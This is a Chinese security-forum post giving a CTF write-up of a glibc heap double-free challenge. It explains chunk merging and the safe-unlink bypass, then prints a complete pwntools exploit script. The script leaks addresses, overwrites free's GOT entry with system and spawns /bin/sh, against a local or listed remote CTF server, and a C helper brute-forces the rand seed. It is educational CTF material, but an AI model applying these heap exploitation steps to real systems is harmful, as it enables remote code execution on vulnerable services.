首页
论坛
课程
招聘
[原创]看雪10月ctf2017 TSRC 第四题——double free
2017-11-1 11:43 2580

[原创]看雪10月ctf2017 TSRC 第四题——double free

2017-11-1 11:43
2580

前言

第一次做Linux的漏洞利用,最后搞到凌晨4点终于弄好了。。。现在做下笔记吧,我尽量写的详细点,是给自己看的也是给其他没玩过Linux漏洞利用的新手看的,大神可以绕道了,哈哈
首先这是一道double free的题目,顾名思义,就是把一个malloc出来的内存释放两次,在这之前我先简单介绍一下linux的堆管理机制。。。这方面的资料比较全,所以我这边不会说的很详细,只会说这道题需要用到的部分,,,
https://bbs.pediy.com/thread-218313.htm
http://www.freebuf.com/articles/system/91527.html
http://www.cnblogs.com/alisecurity/p/5486458.html
这些资料都是不错的。。。

基础知识

但这道题,就记住以下几点:

  1. linux中,有一个或多个内存segment作为堆使用,这点与windows一样
  2. 这些segment会有某种数据结构(bins),用于表示当前堆的分配状态,即,哪个区域的内存是chunk1,哪个是chunk2(chunk可以把它理解成malloc出来的那片内存)
  3. 堆的管理由操作系统完成(当蓝啦

那么这个数据结构是什么样的呢,很复杂,我这里不可能全部讲清楚,做这道题只要记住这几点:

  1. 被释放的堆块(chunk),会被维护在某个链表中,如果是比较小的chunk(16bytes-64bytes),就是某个单项链表,比较大的,就是双向链表
  2. 正在使用的chunk,不会在这个链表中,所以,当malloc的时候,chunk会从链表中被卸下,然后把指向数据块的指针返回给程序
  3. 释放chunk时,如果发现前一个chunk(内存上相邻的前一个,不是链表中的前一个)也是被释放的状态,那么操作系统就会把前面那个chunk卸下来(这里就是利用漏洞的点!!!),然后把要被释放的chunk和它前面的chunk合并成一个大chunk,并插入链表(注意,这一条并不是对于所有chunk都适用的,比较小的16-64bytes的就不会这么拼,但是我在这道题里申请的都是比较大的chunk)

好的,现在来看看chunk的数据结构长啥样。。。

struct malloc_chunk {
  /* #define INTERNAL_SIZE_T size_t */
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/
  struct malloc_chunk* bk;

  //如果chunk是被释放状态,那么这里就啥都没有,是一片未被使用的内存
  //如果是使用状态,那么这里跟着前面的fd,bk,都是用户数据块
  //本来这里还有两个指针的,但是是只对large block有用的,我们这里用不上,我们申请的只是中等大小的chunk,所以不写。。。
 };

prev size是内存位置上,前一块内存的大小,如果前一块内存是被释放状态的话(如果不是,这个8字节貌似就是属于前一块chunk的用户数据部分)

 

size是自己这个chunk的大小,包括上面的4个成员变量的32字节以及后面未被使用的内存,但是因为始终要8字节对齐,所有后三位始终是0,浪费这三位不好,所有就在这里弄了3个flag,其中两个不讲,但是最低位(0bit)是代表前一个的chunk是否正在被使用,如果是,那就是1,不是,就是0。
那么为什么他要这么做?自己的chunk里面不放自己是否被使用放别人是否被使用干嘛???还记不记得在前面我说过的合并操作,释放一个chunk时需要知道前面一个chunk是否被使用,如果没有就要合并,我们通过记录上一个chunk是否被使用,可以判断是否需要进行合并操作。如果只记录自己的,我怎么知道前面一个chunk是不是正在被使用的?prev_size是只在前一个free的时候才用的喔,如果前一个正在被使用这个字段是用户数据,没法定位到上一个chunk的开始位置,所以就没法知道上一个chunk的使用情况。但是记录前一个的使用情况呢,既可以知道前一个的使用情况,也可以通过size字段定位到下一个chunk获取自身的使用情况,efficiency比记录自己的使用情况不知道高到哪里去了。。。
扯远了,继续说fd和bk,这两个字段就很明了了,就是双向链表的前一个和后一个,(如果是单向链表就只会用其中一个但是这里我们不考虑。。),注意这个fd是链表上的前一个,而不是内存上的前一个,所以prev_size跟fd指向的东西八杆子打不着关系。。。

解题

好的,回到这一题,拿到这一题,随便手工fuzz一下,比方说在回显的地方%d一下啊(格式化字符串),输入超长字符串啊(缓冲区溢出),">\啊(走错片场的xss(误)),之类的。。。最后发现delete box两次的时候,会爆出异常,很容易想到就是double
free。。。
现在我们来构造几个box:

  • get small size:256

  • get normal size:272

  • free small

  • free normal

  • get big size:544
    注意,此时big box的堆内存地址与small box(已被释放)的起始地址相同!因为256+16(prev_size与size)+272=544,按照顺序释放small和normal之后,这两个chunk会被合并,大小刚好是544+16(这个16是这个chunk的prev_size和size,但是用户可使用内存就是544,所以申请544会返回这个chunk),具体可以看这位大神的文章https://bbs.pediy.com/thread-218395.htm,我懒得画图了(逃
    这个时候,normal的所有数据,我们都已经可以操控了,包括prev_size和size,我们再free normal的话,从这个chunk中所获取到的信息都是我们可以伪造的!

    这个时候,假如我们伪造一个prev_size,并把size的0bit设为0表示前一个chunk是空闲的,并且在前面再伪造一个chunk并伪造其prev_size和size,就可以让操作系统合并这两个chunk,其间会把前面那个我们伪造的chunk卸下来先,这就会造成unlink的漏洞利用!造成经典的DWORD SHOOT!
    但是,如果我们要unlink p,safe unlink会先检查p->fd->bk == p && p->bk->fd == p,这就比较麻烦了。但是还是有可乘之机!我们假如在内存中找到一个p_addr地址,使得其中内容是指向p的指针,那么让fd为p_addr-0x18,bk为p_addr-0x10,就可以执行unlink,unlink后使得p_addr的值为p_addr-0x18

    那么,哪里有这么一个符合我们条件的p_addr呢?我们IDA打开这个程序,发现box的指针都是全局变量!那么就了然了,我们让p_addr为存放big box的地址,就可以完美地绕过safe unlink!这个时候,big box的指针不再指向堆,而是全局变量——little box的指针的地址,此时如果我们再edit big box,便可以影响所有box的指针。
    影响了有什么用?首先我们改变box指针后edit可以实现任意写内存,而show msg in box可以实现任意读内存,而且,我们的目标是执行system("/bin/sh")

所以exploit的步骤:

  1. get little box with size 0x20
  2. leave message "/bin/sh" in little box
  3. get_box(2, 0x100) #get small box
    get_box(3, 0x110) # get normal box
    free_box(2) #free small box
    free_box(3) #free normal box
    get_box(4, 0x220) # get big box,现在big box会和small box有同样的初始地址,如前面所说

  4. leave the payload into box 4(big box)

  5. double free normal box, 现在big box的指针指向little box的指针的地址
  6. show message big box,获取"/bin/sh"的地址
  7. leave message to big box: bin_sh_addr + '\x00\x00' + p64(p_addr+ displ_to_free) + bin_sh_addr + '\x00\x00'

    little box small
    box normal box
    ​ 此时p_addr+ displ_to_free是free的GOT表地址,这是个啥呢?其实就类似于windows下的IAT表,里面的内容是free函数的函数指针。我们这样就可以读取small box的内容,从而获取free函数的地址,我们要他干嘛?因为libc有ASLR,我们需要先获取free地址,然后才能计算出system的地址。
  8. show message in small box, 计算system地址
  9. leave message in small box,把free替换成system
    10.
    delete normal
    box,这时free已经是system了,所以free(normal_box)实际上是system(normal_box),而normal
    box中实际上是"/bin/sh"(如步骤7),所以system("/bin/sh"),get shell!

还有,这个./club也是有ASLR的,所以p_addr的地址不能直接得到,我们逆向一下这个程序的话,发现猜随机数可以获得seed地址,从而可以计算出p_addr。
这个随机数就比较简单了,第一次我们猜错,他会告诉我们第一次的随机数rand()的值,拿这个可以逆推出seed,因为seed是seed的地址取低32位,会有低12位是固定的,所以很容易穷举出来,我是弄了个json。。

import json
import os

from pwn import *
from subprocess import Popen, PIPE

g_local = True

if g_local:
    sh=process("./club")
    #raw_input("ida has attch? Press any key for continue...")
else:
    sh=remote("123.206.22.95",8888)

def getPrevNum(str):
    i = 0
    while (i < len(str)):
        if (str[i] < '0' or str[i] > '9'):#not digit
            break
        i = i + 1
    return str[0:i]

def get_seed(first_rand):
    f = open("rand_to_seed.json")
    to_seed = json.load(f)
    seed = to_seed[first_rand]
    return seed

def get_scd_rand_from_seed(seed):
    pipe = os.popen( "./get_scd_rand " + str(seed))
    scd_rand = pipe.read()
    pipe.close()
    return int(scd_rand)

def get_scd_rand(first_rand):
    return get_scd_rand_from_seed(get_seed(str(first_rand)))

def six_ops():
#pre: init state, post: ops input
    global sh
    sh.recvuntil("6) exit\n> ")

def get_base_addr():
#pre: in ops input, post: next ops input
#return secret number that is the addr of seed
    global sh
    sh.send("5")#gess number
    sh.recvuntil("> ")
    sh.send("1")#arbitrary number
    sh.recvuntil("The number is ")
    fst_rand = int(getPrevNum(sh.recv()))
    print fst_rand
    sh.send("5")#gess number
    sh.recvuntil("> ")
    sh.send(str(get_scd_rand(fst_rand)))
    sh.recvuntil("You get a secret: ")
    secret = int(getPrevNum(sh.recv()))
    return secret

def get_box(which_box, iSize):
#pre: in ops input, post: next ops input
    global sh
    sh.send("1")#get a box
    sh.recvuntil("5) huge\n> ")
    sh.send(str(which_box))
    sh.recvuntil("Input the size you want to get:\n> ")
    sh.send(str(iSize))
    sh.recvuntil("6) exit\n> ")

def free_box(which_box):
#pre: in ops input, post: next ops input
    global sh
    sh.send("2")#destroy a box
    sh.recvuntil("5) huge\n> ")
    sh.send(str(which_box))
    print sh.recvuntil("6) exit\n> ")

def leave_msg(which_box, msg):
    sh.send("3")#leave msg in a box
    sh.recvuntil("5) huge\n> ")
    #print which_box
    sh.send(str(which_box))
    sh.send(msg + '\n')
    sh.recvuntil("6) exit\n> ")

def show_msg(which_box):
    sh.send("4")#show msg in the box
    sh.recvuntil("5) huge\n> ")
    sh.send(str(which_box))
    ret = sh.recvuntil("6) exit\n> ")
    endIdx = ret.find("You have 6 operation") - 1
    return ret[0:endIdx]

seed_to_p_addr = -40
displ_to_free = -0x108
free_off = 0x00000000000844f0
system_off = 0x0000000000045390

six_ops()
seed_addr = get_base_addr()

get_box(1, 0x20)
leave_msg(1, "/bin/sh\x00")

get_box(2, 0x100)
get_box(3, 0x110)
free_box(2)
free_box(3)
get_box(4, 0x220)

p_addr = seed_addr + seed_to_p_addr
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100)
leave_msg(4, payload)

free_box(3)#double free
print "after double free, now box 4 pointer has changed and point to p_addr-0x18(box 1)"

bin_sh_addr = show_msg(4)

payload_leak = bin_sh_addr + '\x00\x00' + p64(p_addr+ displ_to_free) + bin_sh_addr + '\x00\x00' #+ bin_sh_addr + '\x00\x00'#p64(p_addr-0x18+displ_to_free+0x10)

leave_msg(4, payload_leak)
free_addr = show_msg(2)
ufree_addr = u64(free_addr + "\x00\x00")
print hex(ufree_addr - free_off + system_off)
leave_msg(2, p64(ufree_addr - free_off + system_off))
sh.send("2")#destroy a box
sh.recvuntil("5) huge\n> ")
sh.send(str("3"))

#leave_msg(4, num_of_As * 'A')
#print show_msg(4).split()
print "succeed"


sh.interactive()



#small 256
#normal 272
#free them
#big 544
#free normal again
#include <stdlib.h>
#include <stdio.h>
#define SEED_OFF 0x202148
void proc_srand(unsigned int i)
{
    srand((unsigned int)(i + SEED_OFF));
    printf("\"%d\":%u,", rand(), (unsigned int)(i + SEED_OFF));
}

int main()
{
    //system("/bin/sh");
    printf("{");
    unsigned int i;
    for (i = 0x00000000; i < 0xffffe000; i += 0x1000)
    {
        proc_srand(i);
        /*if (i + SEED_OFF == 0x75b4148)
            getchar();*/
    }
    proc_srand(i);
    i += 0x1000;
    srand((unsigned int)(i + SEED_OFF));
    printf("\"%d\":%u}", rand(), (unsigned int)(i + SEED_OFF));
}

/*
0x000055dd139ce000
0x000055ce8c5e3000
0x000055aaadb17000
0x00005610214b0000
0x0000558f744b5000
0x000056038011e000
0x0000564d46904000
0x0000556e073b2000
*/

[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 148
活跃值: 活跃值 (384)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 活跃值 13 2017-11-1 12:17
2
0
这是第四题吧,尽快补充
雪    币: 430
活跃值: 活跃值 (49)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
ID蝴蝶 活跃值 1 2017-11-2 18:26
3
0
楼主代码部分要重新编辑一下吧。
雪    币: 5653
活跃值: 活跃值 (369)
能力值: ( LV17,RANK:1165 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2017-11-2 22:17
4
0
ID蝴蝶 楼主代码部分要重新编辑一下吧。
用markdown编辑了一下,好了
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
小k不小 活跃值 2017-11-5 12:38
5
0
游客
登录 | 注册 方可回帖
返回